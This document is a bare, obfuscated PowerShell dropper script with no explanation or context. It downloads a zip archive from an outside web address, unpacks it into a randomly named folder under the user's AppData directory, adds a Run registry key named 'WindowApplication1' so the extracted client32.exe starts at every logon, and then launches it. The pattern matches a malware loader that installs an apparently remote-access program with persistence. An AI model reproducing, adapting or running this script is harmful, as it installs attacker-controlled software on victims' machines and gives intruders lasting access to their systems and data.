$JGWVYJADF = "https://www.agenciacrabli.com/yszs.zip?lap=6528" $JDNLMBFCJSJTONYNDYAY = (New-Object System.Net.WebClient).DownloadData($JGWVYJADF) $dffgds = -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 5 | ForEach-Object {[char]$_}) $HVBUSEGLQLXUZ = "$env:APPDATA\WinMedia\$dffgds" if (-not (Test-Path $HVBUSEGLQLXUZ)) { New-Item -Path $HVBUSEGLQLXUZ -ItemType Directory -Force | Out-Null } $HEJVWWDQGXZFWNXEWFMOP = New-Object System.IO.MemoryStream $HEJVWWDQGXZFWNXEWFMOP.Write($JDNLMBFCJSJTONYNDYAY, 0, $JDNLMBFCJSJTONYNDYAY.Length) $HEJVWWDQGXZFWNXEWFMOP.Position = 0 Add-Type -AssemblyName System.IO.Compression $BQKNROPGRSLKMQSEAAMRLZEA = New-Object System.IO.Compression.ZipArchive($HEJVWWDQGXZFWNXEWFMOP, [System.IO.Compression.ZipArchiveMode]::Read) foreach ($PKZIWJS in $BQKNROPGRSLKMQSEAAMRLZEA.Entries) { $RGJAUKRPWDCBXJWVYUQ = Join-Path $HVBUSEGLQLXUZ $PKZIWJS.FullName $ZPTAQOQJVDOHTJNSCUZWMS = Split-Path $RGJAUKRPWDCBXJWVYUQ -Parent if (-not (Test-Path $ZPTAQOQJVDOHTJNSCUZWMS)) { New-Item -Path $ZPTAQOQJVDOHTJNSCUZWMS -ItemType Directory -Force | Out-Null } if ($PKZIWJS.Length -gt 0) { $MEQKUCBBMMMMJSOZLYM = $PKZIWJS.Open() $CHDREEWGMBTV = [System.IO.File]::Create($RGJAUKRPWDCBXJWVYUQ) $MEQKUCBBMMMMJSOZLYM.CopyTo($CHDREEWGMBTV) $CHDREEWGMBTV.Close() $MEQKUCBBMMMMJSOZLYM.Close() } } $BQKNROPGRSLKMQSEAAMRLZEA.Dispose() $HEJVWWDQGXZFWNXEWFMOP.Dispose() $DVMHHWRMIULGKKOIXYGFS = "$HVBUSEGLQLXUZ\client32.exe" sp HKCU:\Software\Microsoft\Windows\CurrentVersion\Run WindowApplication1 $DVMHHWRMIULGKKOIXYGFS Start-Process $DVMHHWRMIULGKKOIXYGFS